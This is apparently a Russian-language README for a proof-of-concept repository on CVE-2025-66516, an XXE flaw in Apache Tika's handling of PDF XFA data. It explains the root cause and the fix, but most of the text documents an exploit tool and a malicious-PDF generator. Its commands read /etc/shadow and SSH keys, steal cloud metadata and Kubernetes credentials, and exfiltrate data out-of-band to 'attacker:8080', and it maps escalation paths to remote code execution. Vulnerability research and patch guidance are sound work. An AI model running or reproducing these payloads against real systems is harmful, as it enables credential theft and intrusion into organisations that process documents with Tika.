
CVE-2025-66516 рабочий эксплойт, сканер, объяснение.
CVE-2025-66516 — это критическая уязвимость внедрения XML-внешних сущностей (XXE) в Apache Tika с оценкой CVSS 10.0 (максимальная степень серьезности). Уязвимость позволяет удаленным злоумышленникам читать произвольные файлы, выполнять подделку серверных запросов (SSRF) и похищать конфиденциальные данные путем загрузки специально созданного PDF-документа, содержащего вредоносное содержимое XFA (XML Forms Architecture).
| Атрибут | Значение |
|---|---|
| ID CVE | CVE-2025-66516 |
| Оценка CVSS | 10.0 (Critical) |
| Дата раскрытия | 4 декабря 2025 г. |
| Поставщик | Apache Software Foundation |
| Затронутый продукт | Apache Tika |
| Вектор атаки | Сеть (удаленно) |
| Аутентификация | Не требуется |
| Компонент | Уязвимые версии | Исправленная версия |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Важно: Этот CVE заменяет CVE-2025-54988, в котором ошибочно указывалось, что уязвим только PDF-модуль. Фактически уязвимость находится в tika-core.
Уязвимость представляет собой дефект внедрения XML-внешних сущностей (XXE) в том, как Apache Tika обрабатывает данные XFA (XML Forms Architecture) внутри PDF-документов.
Проблема: Tika полагается на базовые XML-парсеры Java (в частности, StAX-парсер) для чтения XFA XML-содержимого. В уязвимых версиях не удавалось корректно настроить парсер для отключения разрешения внешних сущностей. Когда парсер встречает запрос внешней сущности (например, SYSTEM "file:///etc/passwd"), он разрешает его и возвращает содержимое файла.
Местоположение: Ошибка существует в XMLReaderUtils.getXMLInputFactory() в tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Неэффективно
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER предназначался для блокировки XXE путем возврата пустого результата, но он возвращал String вместо ожидаемого InputStream. Стандартный StAX-парсер JDK молча игнорировал этот некорректный тип возвращаемого значения и возвращался к поведению по умолчанию, которое разрешает внешние сущности.
Исправление явно отключает поддержку DTD и внешних сущностей на уровне фабрики:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Кроме того, резолвер был изменен для возврата корректного типа InputStream.
В экосистеме Java существует множество библиотек XML-парсеров. Приложения используют тот парсер, который сконфигурирован или найден первым в classpath.
Что такое Woodstox? Woodstox — это высокопроизводительный StAX-парсер XML с открытым исходным кодом, обычно поставляемый вместе с Java-приложениями.
Как он обеспечивает защиту: По замыслу (а не случайно), реализация Woodstox корректно обрабатывает тип возвращаемого значения XMLResolver. Когда Woodstox получает строковое возвращаемое значение от IGNORING_STAX_ENTITY_RESOLVER, он интерпретирует его как допустимое пустое содержимое, эффективно блокируя XXE.
Критическое различие:
tika-server-standard.jar включает Woodstox — НЕ УЯЗВИМtika-core + модули парсеров (встроенное использование) НЕ включают Woodstox — УЯЗВИМ# 1. Запустите лабораторную среду
docker-compose up -d --build
# 2. Проверка на уязвимом Tika (JDK StAX, порт 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Извлечение /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Сравнение с защищенным Tika (Woodstox, порт 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Оркестрация лаборатории
|-- vulnerable-tika/
| |-- Dockerfile # Tika с Woodstox (защищен)
| +-- Dockerfile.jdk-stax # Tika без Woodstox (УЯЗВИМ)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask-приложение для загрузки
| +-- templates/
|-- poc/
| |-- exploit.py # Инструмент автоматической эксплуатации
| +-- generate_payload.py # Генератор вредоносных PDF
+-- README.md
docker-compose up -d --build
exploit.py)Полноценная эксплуатация с автоматической генерацией полезной нагрузки и извлечением данных.
# Проверка, уязвима ли цель
python poc/exploit.py --url http://target:9998 --check
# Чтение локальных файлов
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# Кража метаданных AWS (экземпляры EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Секреты Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF к внутренним сервисам
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Сохранение извлеченных данных
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Генерирует вредоносные PDF-файлы для ручного тестирования или интеграции с другими инструментами.
# Генерация нагрузки для конкретного файла
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Генерация SSRF-нагрузки
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Генерация нагрузки для OOB-эксфильтрации
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Использование пресетов режимов атаки
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Список доступных режимов атаки
python poc/generate_payload.py --list-modes
Доступные режимы атаки:
file_read — чтение локальных файлов (/etc/passwd, /etc/shadow и т.д.)ssh_keys — кража приватных ключей SSHaws_metadata — метаданные AWS EC2 и учетные данные IAMgcp_metadata — токены сервисных учетных записей GCPazure_metadata — токены управляемых удостоверений Azurek8s_secrets — учетные данные сервисных учетных записей Kuberneteswebapp_configs — распространенные конфигурации веб-приложенийssrf_internal — проверка внутренних сервисовТестирование против Tika 2.9.2 без Woodstox (имитация встроенных развертываний):
| Тест | Результат |
|---|---|
| Обнаружение XFA | [PASS] PDF распознан как содержащий XFA |
| Разбор XFA | [PASS] Содержимое XFA извлечено |
| Чтение файла через XXE | [VULNERABLE] Содержимое /etc/passwd похищено |
| SSRF через XXE | [VULNERABLE] Внешние запросы отправлены |
Доказательство эксплуатации:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Тестирование против Tika 2.9.2 с Woodstox (стандартный tika-server-standard.jar):
| Тест | Результат |
|---|---|
| Обнаружение XFA | [PASS] PDF распознан как содержащий XFA |
| Разбор XFA | [PASS] Содержимое XFA извлечено |
| Чтение файла через XXE | [BLOCKED] Внешние сущности не разрешены |
| SSRF через XXE | [BLOCKED] Исходящие подключения отсутствуют |
Вывод показывает пустую сущность:
<li fieldName="data">data: </li>
Уязвимость реальна и критична. Эксплуатация зависит от реализации StAX:
tika-server-standard.jar — встроенный Woodstox блокирует XXEXXE — это, по сути, уязвимость чтения файлов/SSRF, а не прямого RCE. Тем не менее, она открывает несколько путей атаки:
| Атака | Пример полезной нагрузки |
|---|---|
| Чтение файла | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| Метаданные AWS | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Сценарий | Путь атаки |
|---|---|
| AWS EC2 | XXE -> SSRF к метаданным -> учетные данные IAM -> RCE через AWS CLI |
Обновите Apache Tika до версии 3.2.2 или новее
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Убедитесь, что все компоненты Tika обновлены (tika-core И модули парсеров)
| Тип развертывания | Уровень риска |
|---|---|
| tika-server-standard.jar | НИЗКИЙ — Woodstox снижает риск |
| Встроенный Tika (использование как библиотеки) | ВЫСОКИЙ — вероятно, уязвим |
| Пользовательская сборка без Woodstox | ВЫСОКИЙ — уязвим |
Проблема 1: Первоначальный эксплойт не сработал
Проблема 2: Ошибка множественных XML-объявлений
WstxParsingException: Illegal processing instruction target ("xml")Проблема 3: Загадка Woodstox
Проблема 4: Тестирование неправильной конфигурации
| Дата | Событие |
|---|---|
| Август 2025 г. | Раскрыт CVE-2025-54988 (неполный охват) |
| 4 декабря 2025 г. | Опубликован CVE-2025-66516 (определен полный охват) |
| 4 декабря 2025 г. | Выпущен Apache Tika 3.2.2 с исправлением |
Эта лабораторная среда и код доказательства концепции предоставлены только для авторизованного тестирования безопасности, образовательных целей и оборонительных исследований.
Не используйте эти инструменты против систем без явного письменного разрешения.
Этот исследовательский материал предоставлен в образовательных целях. Используйте ответственно.
| Сервис | Порт | Описание |
|---|
| Веб-приложение | 8080 | Фронтенд загрузки документов |
| Tika (Woodstox) | 9998 | Защищен — НЕ уязвим |
| Tika (JDK StAX) | 9997 | УЯЗВИМ — без Woodstox |
| Слушатель атакующего | 9999 | HTTP-сервер для OOB-тестирования |
| Kubernetes | XXE -> Чтение токена сервисной учетной записи -> kubectl exec |
| Внутренний Jenkins | XXE -> SSRF к консоли сценариев -> Groovy RCE |
| База данных | XXE -> Чтение конфигурационных файлов -> Доступ к базе данных |
| SSH | XXE -> Чтение ключей SSH -> Удаленный доступ к оболочке |